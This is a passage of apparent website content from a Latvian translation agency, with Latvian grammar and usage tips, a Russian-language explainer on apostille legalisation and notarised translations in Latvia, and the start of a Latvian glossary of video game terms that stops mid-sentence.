var šķist, ka vokatīva forma ir pārāk familiāra un neierasta lietišķā saziņā, sevišķi, ja atšķiras no nominatīva, tas ir pareizākais uzrunas lietojums. Izsaukuma zīmes lietošana nav kliegšana. Šie paši likumi attiecas arī uz lietišķo rakstu valodu e-pastos. Tātad īsumā, uzrunu latviešu valodā var lietot gan vokatīvā, gan nominatīvā, gan pat akuzatīvā atkarībā no lietvārda deklinācijas un tā, vai lietojam to neitrālā (oficiālā) kontekstā, vai arī sarunvalodā. Kā zināms vokatīvs ir uzrunas locījums, proti, lietvārda forma, ar kuru uzrunā dzīvas būtnes vai priekšmetus. Morfoloģiski tā ir vai nu lietvārda bezgalotnes forma, piemēram, “Agij”, “Pēter”, “Mik” vai vokatīvā formā lietots nominatīvs –“Liene”, “Ilze”, “Agija” vai arī vārds akuzatīva formā – “Jāni”, “Valdi”. Iesakām paturēt prātā, ka oficiālā uzrunā vīriešu dzimtes personvārdiem lietosim vokatīvu, savukārt sieviešu – nominatīvu. Vīriešu dzimtes personvārdiem oficiālā uzrunā nominatīvu nelieto. Tāpēc rakstīsim: “Labdien, Jāni! ”, nevis “Labdien, Jānis! ”, “Paldies, Edgar! ” un “Labdien, Edžu! ”. Savukārt, uzrunājot sievietes, rakstīsim: “Labdien, Agija! ” un “Paldies, Kate! ”Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā rakstīt svētku un atceres dienu nosaukumus? Šis un daudzi citi latviešu valodas padomi vienuviet, ieskaties un uzzini pareizo atbildi! - Published: 2024-03-25 - Modified: 2024-07-08 - URL: https://skrivanek.lv/starptautiska-teatra-diena/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional STARPTAUTISKĀ TEĀTRA DIENA 1 Starptautiskā Teātra diena vai Starptautiskā teātra diena? Kā rakstīt svētku un atceres dienu nosaukumus? Latviešu valodas pareizrakstības likumi nosaka – vairumā gadījumu vairākvārdu svētku nosaukumos ar lielo burtu raksta tikai pirmo – ievadītājvārdu. Tāpēc teiksim, ka 27. martā ir Starptautiskā teātra diena vai, ja vēlamies teikt īsāk – Teātra diena. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Как происходит легализация документов с апостилем? Что такое апостиль? Какие документы требуют его проставления? Узнайте ответы! - Published: 2024-03-13 - Modified: 2024-11-12 - URL: https://skrivanek.lv/kas-ir-apostille/ - Kategorijas: Raksti - Translation Priorities: Optional ЧТО ТАКОЕ АПОСТИЛЬ? Бюро переводов часто сталкиваются с необходимостью перевести официальные публичные документы. В таких случаях, чтобы документы, выданные в одной стране, имели такую же юридическую силу в другой стране, необходимо подтвердить, что подписавшее документ должностное лицо действительно работает в Латвии, и подпись, а также оттиск печати этого должностного лица на документе подлинные. Данный процесс существенно упростило принятие Гаагской конвенции. Если документ выдан в иностранном государстве, которое присоединилось к Гаагской конвенции от 5 октября 1961 г. «Об отмене требований к легализации иностранных официальных документов», его подлинность нужно заверить особой отметкой – апостилем – в компетентном органе выдавшей страны, при этом документ, однажды заверенный апостилем, не придется повторно заверять в более чем 100 странах-участницах Гаагской конвенции. Таким образом, документ будет действителен как в Латвии, так и в Польше, Греции, Чили и других странах. В Латвийской Республике Гаагская конвенция вступила в силу 30 января 1996 г. ДЛЯ КАКИХ ДОКУМЕНТОВ НУЖЕН АПОСТИЛЬ? Удостоверение подлинности документов апостилем приобретает актуальность в разных жизненных ситуациях, например, если человек переезжает в другую страну, отправляется за границу работать или учиться, собирается заключить или расторгнуть брак с гражданином другой страны, открыть в другой стране банковский счет или оформить связанные с наследством документы и т. п. Апостилем заверяют такие официальные документы, как свидетельство о рождении, свидетельство о браке, документы, подтверждающие полученное образование, справки об отсутствии судимости и о состоянии здоровья, выданные в разных странах доверенности и др. КАК ПРОИСХОДИТ ЛЕГАЛИЗАЦИЯ ДОКУМЕНТА АПОСТИЛЕМ? Ранее удостоверением с помощью апостиля подлинности выданных в Латвии официальных документов занимался только Консульский департамент Министерства иностранных дел Латвийской Республики, но с 1 июля 2019 г. это делают присяжные нотариусы по всей Латвии, при этом документы, выданные в электронной форме, можно заверить апостилем даже дистанционно. При необходимости легализовать официальные документы, прежде чем отправиться в любую зарубежную страну, где в каком-либо учреждении вам потребуется предъявить соответствующий документ, рекомендуется заранее выяснить, нужно ли его заверить апостилем. Также необходимо учитывать, что присяжный нотариус может заверять апостилем только документы, выданные в Латвийской Республике. Сам процесс простой и быстрый: нужно прийти к нотариусу, имея при себе оригинал документа и паспорт либо идентификационную карту, и если в базе данных образцов подписей есть образец подписи и оттиска печати выдавшего документ должностного лица, то оформление заверения документа занимает, как правило, один рабочий день. Это можно поручить и профессиональному бюро переводов, которое позаботится обо всем вместо вас. НОТАРИАЛЬНО ЗАВЕРЕННЫЕ ПЕРЕВОДЫ ДОКУМЕНТОВ В SKRIVANEK Если необходимы переводы официальных документов, присяжный нотариус обязан убедиться в наличии у переводчика образования и квалификации, а также предупредить об ответственности, согласно статьям 300 и 302 Уголовного закона Латвийской Республики, за заведомо ложный и (или) неверный перевод. Чтобы облегчить процесс легализации документов, бюро переводов Skrivanek обеспечивает нотариально заверенные переводы. Это значит, что перевод документа вначале заверяет подписью квалифицированный переводчик, которую, в свою очередь, заверяет присяжный нотариус. У нас можно выполнить нотариально заверенный перевод более чем на 110 языков. СОВЕТЫ ПО ПОДГОТОВКЕ ДОКУМЕНТОВ Чтобы получить нотариально заверенный перевод, необходим полностью оформленный и имеющий юридическую силу документ, содержащий следующую информацию: название автора документа; дату подготовки документа; название места подготовки, выдачи и подписания документа; подпись(-и). К нам также смело можно обращаться в ситуации, если вам нужно приложить нотариально заверенный перевод в электронной форме с электронной подписью к документам, оформленным в печатном виде. В таких случаях мы вначале подготавливаем перевод оригинала документа в печатной форме, который подписывает переводчик и заверяет присяжный нотариус, и к подписанному переводу подшивается оригинал или нотариально заверенная копия оригинала. Когда перевод документа в печатном виде оформлен, он сканируется, чтобы нотариус снова заверил его электронной подписью. Нотариально заверенный перевод можно получить в удобном для вас формате – edoc, asic-e или PDF. В свою очередь, нотариально заверенный перевод документа, подписанного в электронной форме, подготавливается сразу в э-среде. Такая услуга предоставляется в форматах edoc или asic-e, но не в формате PDF. НЕОБХОДИМА ЛЕГАЛИЗАЦИЯ ДОКУМЕНТА АПОСТИЛЕМ ИЛИ НОТАРИАЛЬНО ЗАВЕРЕННЫЙ ПЕРЕВОД? СВЯЖИТЕСЬ С НАМИ! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Или запишитесь на онлайн-консультацию прямо сейчас! Ziņu izvēlne Читайте нашу прошлую статьюValsts ieņēmumu dienestsЧитайте нашу новую статьюValsts sociālās apdrošināšanas aģentūra --- > Ar šo vēlos darīt zināmu, ka sācies jauns posms mūsu sadarbībā. Vai tā būs pareizi? Ieskaties un uzzini pareizo atbildi! - Published: 2024-02-27 - Modified: 2024-10-28 - URL: https://skrivanek.lv/ar-so-velos-darit-zinamu-vai-informeju/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional AR ŠO VĒLOS DARĪT ZINĀMU VAI INFORMĒJU 1 Ar šo vēlos darīt zināmu, ka sācies jauns posms mūsu sadarbībā. Vai tā būs pareizi? Vārdu savienojumu “darīt zināmu” visvairāk lieto oficiālā komunikācijā ar nozīmi ‘informēt, paziņot’. Šāds lietojums atbilst literārās valodas normām, taču ikdienas saziņā šāds vārdu savienojums veicina liekvārdību. Tāpēc labāk teiksim – Informēju, ka sācies jauns posms mūsu sadarbībā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Es dzīvoju uz Lāčplēša ielas vai Lāčplēša ielā? Kā ir pareizi? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi! - Published: 2024-02-27 - Modified: 2024-12-02 - URL: https://skrivanek.lv/uz-ielas-vai-iela/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional UZ IELAS VAI IELĀ 1 Es dzīvoju uz Lāčplēša ielas vai Es dzīvoju Lāčplēša ielā? Bieži dzirdam “Es dzīvoju uz Lāčplēša ielas”, taču tas ir tiešs pārcēlums no krievu valodas. Tā kā lielākā daļa cilvēku dzīvo nevis fiziski uz ielas, bet namos, teiksim – Es dzīvoju Lāčplēša ielā, Skrivanek birojs atrodas Lāčplēša ielā 87C. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Šogad mūs apmeklēja 4100 klienti vai šogad mūs apmeklēja 4100 klientu? Ieskaties šeit un uzzini pareizo atbildi! Šis un citi valodas padomi. - Published: 2024-02-27 - Modified: 2024-04-04 - URL: https://skrivanek.lv/4100-klienti-vai-4100-klientu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional 4100 KLIENTI VAI 4100 KLIENTU 1 Šogad mūs apmeklēja 4100 klienti vai šogad mūs apmeklēja 4100 klientu? Latviešu valodā lietvārda locījumu aiz skaitļa vārda saskaņo ar skaitļa vārdu. Latviešu literārās valodas norma nosaka, ka ar pamata skaitļa vārdiem – desmit, simt, tūkstoš, miljards – lietvārds daudzskaitļa nominatīva nozīmē ir lietojams daudzskaitļa ģenitīvā, piemēram, simts gadu vecs, desmit kilometru, miljards cilvēku, taču valodas prakse liecina, ka tradīcijas valodā mainās un runātāji biežāk izvēlas lietot nominatīvu. Tāpēc varam teikt gan 4100 klienti, gan 4100 klientu. Galvenais ir ievērot konsekvenci. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Miljards, miļjards vai varbūt biljons? Kā ir pareizi? Ieskaties šeit un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi. - Published: 2024-02-27 - Modified: 2024-08-09 - URL: https://skrivanek.lv/miljards-vai-miljards-vai-biljons/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MILJONS VAI MIĻJARDS VAI BILJONS 1 Miljards, miļjards vai varbūt pat biljons? Kā būs pareizi? Skaitli ar deviņām nullēm jeb 1 000 000 000 pirmoreiz vārdā ‘milliard’ nosauca Francijā 16. gadsimtā, taču ārpus Francijas šis skaitlis plašāku pazīstamību sasniedza 19. gadsimta beigās, kad Francijai zaudējumos nācās maksāt Vācijai piecus miljardus franku. Savukārt biljona ‘billion’ nozīme dažādās skaitīšanas sistēmās atšķiras: krieviem, frančiem un amerikāņiem tas ir miljards, savukārt angļiem un vāciešiem – tūkstoš miljardu. Lai arī sarunvalodā reizēm dzirdam “miljards”, pareizi ir “miljards”. Tāpēc latviešu valodā teiksim – Fonds piešķīra atbalstu piecu miljardu eiro apmērā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Esam izveidojuši īsu videospēļu terminu skaidrojošo vārdnīcu. Ieskaties, jo īpaši, ja videospēļu spēlēšana ir tavs hobijs! - Published: 2024-02-26 - Modified: 2024-09-25 - URL: https://skrivanek.lv/videospelu-termini-un-to-skaidrojumi/ - Kategorijas: Raksti - Translation Priorities: Optional VIDEOSPĒĻU TERMINI UN TO SKAIDROJUMI Ienirstot videospēļu pasaulē, spēlētājus sagaida dažnedažādi termini, kas pirmajā acumirklī šķiet kā nejauša burtu kombinācija. Taču tā vis nav – katram terminam un saīsinājumam ir sava jēga. Šajā rakstā ieskatīsimies biežāk izmantojamajos videospēļu terminos. Lai arī videospēles reti tiek tulkotas latviešu valodā, Latvijā ir ne tikai pieprasījums pēc interaktīviem virtuālās pasaules stāstiem, bet arī piedāvājums – aizvien vairāk Latvijas izstrādātāju ir spējuši savu veikumu pārdot ārpus valsts robežām. Kā ievērojams veiksmes stāsts pēdējo gadu laikā ir izstrādātāja “Color Gray Games” veidotā detektīvžanra spēle “The Case of the Golden Idol” (”Zelta elka lieta”), kur lauvas tiesu satura izveidoja brāļi Andrejs un Ernests Kļaviņi. No Baltijas valstīm pat vēl lielāku popularitāti ārzemēs ieguva igauņu izstrādātāju “ZA/UM” veidotā detektīvžanra RPG jeb lomu spēle “Disco Elysium”. Lai spētu veiksmīgi piedāvāt savu veikumu ārzemēs, ir noderīgi iepazīties ar biežāk izmantojamajiem videospēļu terminiem. Jo īpaši svarīgi tas ir lokalizācijas solī, pielāgojot spēli vietējam tirgum. Savukārt spēlētājiem, kuri bauda videospēles oriģinālvalodā (visbiežāk angļu), skaidrojumi var palīdzēt izprast, ko cenšas pateikt komandas biedri, kā arī kāds ir spēles žanrs. VIDEOSPĒĻU TERMINU VĒSTURE Videospēļu pirmsākumos, kad tās biežāk bija pazīstamas kā datorspēles, termini bija visai vienkārši, pat tehniski, un tie aprakstīja spēles gaitu. Piemēram, gan “Tetris”, gan “Pong” – vienām no pirmajām datorspēlēm – bija sadaļas, kur tika fiksēts rezultāts (“score”), dzīvības (“lives”) un līmeņi (“levels”). Videospēlēm kļūstot sarežģītākām, it īpaši parādoties tiešsaistes spēlēšanas elementiem, termini kļuva aizvien sociālāki, jo liela daļa no tiem radās mirkļa iespaidā – gluži kā mutvārdu folklora. Tādēļ, piemēram, tiešsaistes spēlēs iesakņojās ne tikai tādi vārdi kā ģildes (“guilds”), kas apraksta spēlētāju kolektīvu ar kopīgu mērķi, bet arī “labi pavadīta spēle” (“gg”), “prom no klaviatūras” (AFK) un citi. VISPĀRĒJIE APRAKSTOŠIE TERMINI “Avatar” / “game character” jeb videospēles tēls ir virtuālais “cilvēciņš”, kuru vada spēlētāji. Tas var būt gan izstrādāju, gan spēlētāju veidots vai pielāgots. NPC (“non-player character”) ir vēl viens bieži sastopams termins, kas apraksta videospēļu tēlus. NPC apzīmē ikvienu citu spēles varoni, ko spēlētāji nevar kontrolēt. FPS (“frames per second”) apzīmē frekvenci, ar kādu datora vai konsoles videokarte uz monitora vai televizora spēj atainot atsevišķu kadru. Piemēram, 60 FPS nozīmē, ka vienā sekundē uz ekrāna parādīsies 60 kadri. Parasti videospēles tiek veidotas, lai tās atainotu vismaz 30 vai 60 kadrus sekundē. Salīdzinājumam – filmas un seriāli parasti tiek filmēti ar 24 kadriem sekundē. “Lag” jeb raustīšanās kā termins bieži sastopams tiešsaistes mačos, kur spēlētāji sūdzas par interneta savienojuma radītu raustīšanos jeb “lagu”. Citkārt gan ar šo terminu tiek vainota neprecīza izspēle vai kāda kļūda, to norakstot uz interneta savienojuma problēmām. “Level up” apzīmē spēju, prasmju vai paša tēla līmeņa paaugstināšanos. Jo augstāks līmenis, jo spēcīgāks, prasmīgāks ir videospēles tēls. “Xp” vai “exp” (“experience”) jeb iegūtā pieredze, kas parasti izpaužas konkrētā skaitlī. Piemēram, izpildot misiju, spēlētājs saņem 200 XP jeb pieredzes punktus. Vairāku žanru spēlēs pieredze ir svarīga, lai paaugstinātu līmeni (“level up”) un dotos uz sarežģītākas grūtības pakāpes zonām. HP (“health points”, “hit points”) – pats svarīgākais rādījums, kas nosaka, cik daudz dzīvības punktu ir atlicis spēlētāja kontrolētajam tēlam. Uzkrājot pieredzes punktus un paaugstinoties līmeņiem, augstāka kļūst arī dzīvības maksimālā vērtība. “Easter egg” ir kā Lieldienu ola, kuru izstrādātāji paslēpj spēlē, lai padalītos ar kādu joku vai atsauci uz, piemēram, iepriekš veidotiem garadarbiem. Salīdzinājums ar Lieldienu olu radies tāpēc, ka parasti šos noslēpumus ir grūti atrast – ir jāveic konkrētas darbības vai jādodas pa sarežģītākām takām. “Save point”. Videospēlēs bieži pirms grūtākām misijām vai kaujām ieslēdzas progresa saglabāšanas funkcija, lai spēlētāji varētu atgriezties šajā punktā, ja pārbaudījums netiek izturēts. Citkārt saglabāšana notiek nevis automātiski, bet konkrētās zonās vai mijiedarbojoties ar speciāliem priekšmetiem, lai saglabātu spēles progresu. “Camping” – bieži lietots termins tiešsaistes šaušanas spēlēs. Tas apzīmē spēlētāju, kurš ir “noenkurojies” vienā konkrētā kartes punktā, nekustoties un pieveicot vienu pretinieku pēc otra. Lielākam efektam tiek izmantots pārsteiguma elements. ŽANRU APZĪMĒJOŠI TERMINI Ikvienā spēles žanrā ir īpaši termini, kas citviet var nozīmēt ko pavisam citu. Bieži arī žanru nosaukumi paši par sevi ir kā termini, kas dažu burtu akronīma veidolā uzreiz “pasaka” pašu svarīgāko par konkrēto spēli. Nereti spēlētāji dod priekšroku vienam vai dažiem no pieejamajiem spēļu žanriem. FPS (“first person shooter”) Pirmās personas skata šaušanas spēles ļauj spēlētājiem iemiesoties vadāmajā tēlā, jo uz ekrāna ir redzamas tikai rokas un dažāda veida ieroči, ar kuriem cīnīties pret citiem spēlētājiem vai datora simulētiem varoņiem. FPS spēles bieži ir ātras, sacensību gara pārņemtas. Daži uzskatāmi FPS spēļu piemēri – “Call of Duty”, “Counter-Strike”, “Doom”. RPG (“role-playing game”) Lomu spēles ļauj spēlētājiem izpausties, pieņemot dažāda veida lēmumus – sākot no tēla izskata līdz citādākai rīcībai, reaģējot uz notikumiem virtuālajā pasaulē. Lomu spēlēs parasti liels uzsvars tiek likts uz stāstu, kas plūst un mainās. Spilgtākie žanra piemēri – “The Elder Scrolls” un “Final Fantasy” franšīzes. “Sandbox” Vairumā gadījumu videospēļu nav daudz iespēju mainīt vai pielāgot apkārtējo vidi. “Sandbox” jeb smilšukastes tipa spēlēs vienīgie griesti ir spēlētāja izdoma. Daudziem pazīstams “sandbox” spēles piemērs ir “Minecraft”, kur no blokiem ir izveidojams gandrīz jebkas. “Open world” Bieži videospēles ir veidotas ar mērķi spēlētājus vest pa konkrētu, izstrādātāju “iemītu” taciņu, kontrolējot spēles pieredzi. Šāda veida spēļu stāstus dēvē par lineāriem (“linear games”). Savukārt atvērtā tipa (“open world”) žanrs spēlētājiem sniedz iespējas doties jebkur, kur sirds kāro. Daži atvērtā tipa spēļu piemēri – “Far Cry”, “Grand Theft Auto” un “Zelda” franšīzes. MMO (“massively multiplayer online”) MMO apzīmē jebkuru tiešsaistes spēli, kurā vienlaicīgi vienā serverī var uzturēties simtiem, pat tūkstošiem cilvēku, kas reāllaikā sadarbojas vai cīnās savā starpā. MMO ir izteikti sociālas spēles, kurās spēlētāji veido ģildes (“guilds”) vai komandas. Plaši pazīstams MMO piemērs – “World of Warcraft”. MOBA (“multiplayer online battle arena”) Šeit velkamas līdzīgas paralēles ar MMO, taču MOBA lielākā atšķirība ir tajā, ka spēlētāju skaits ir mazāks, parasti sadalīts divās komandās, kuras cīnās vienā arēnā kādā no cīņu zonām. Spēles mērķis – pretinieka bāzes iznīcināšana. Populārākās MOBA spēles – “Dota 2”, “League of Legends”. RTS (“real-time strategy”) Reāllaika stratēģijas spēles – viens no senākajiem žanriem – pārbauda spēlētāju plānošanas un ātrās reaģēšanas spējas, pielāgojoties situācijas izmaiņām. Visbiežāk stratēģijas spēlēs spēlētājs uzņemas komandiera lomu, kas savus karavīrus ved kaujā pret ienaidniekiem, paralēli plānojot resursu ieguvi un izmantošanu. Stratēģijas videospēles var būt gan viena, gan daudzu tiešsaistes spēlētāju režīmā. Populārākās RTS spēles – “Age of Empires” un “StarCraft” sērija. “Battle royale” Viens no jaunākajiem un populārākajiem tiešsaistes daudzspēlētāju veidiem, kas pieejams tādās spēlēs kā “Fortnite” un “PUBG”. Spēlētājiem, cīkstoties pret citiem, vienīgais nosacījums ir palikt kā pēdējam nesakautajam varonim, kamēr spēles laukums ar katru brīdi aizvien samazinās. “Fighting game” Cīņu spēlēs, piemēram, “Mortal Kombat” un “Tekken” spēlētāji izvēlas kādu no pieejamajiem varoņiem, lai sānskatā cīnītos ar citu spēlētāju vai datora simulāciju, veicot īpašas cīņas kustības ar konkrētu, ātri nospiestu pogu vai taustiņu kombinācijām. “Platformer” Platformas tipa spēlēm varoņi ir jāvada cauri dažādiem šķēršļiem, lēkājot no vienas platformas uz citu, kas lieliski izpaužas tādās spēlēs kā “Super Mario” un “Sonic”. Šajā žanrā bieži tiek pārbaudīta spēlētāju uzmanība un veiklība, veicot sarežģītus manevrus, lai tiktu tālāk. “Simulation” Simulācijas žanrs ir izteikti plašs – tajā ietilpst jebkura spēle, kurā tiek kopēta reālā dzīve un pat fizikas likumi, piemēram, pilsētvides būvniecības spēles “Cities” un “Tropico”, konkrētām profesijām veltītas spēles – “Euro Truck Simulator”, “Farming Simulator”, “PowerWash Simulator”. “GG” JEB TIEŠSAISTES SPĒĻU SLENGS Uzsākot tiešsaistes spēļu pirmos mačus, var mulsināt dažādi saīsinājumi un burtu kombinācijas, kas pirmajā brīdī neko daudz neizsaka. Taču katram no tiem ir konkrēta nozīme. Kā nekā – ātri pieņemot lēmumu, 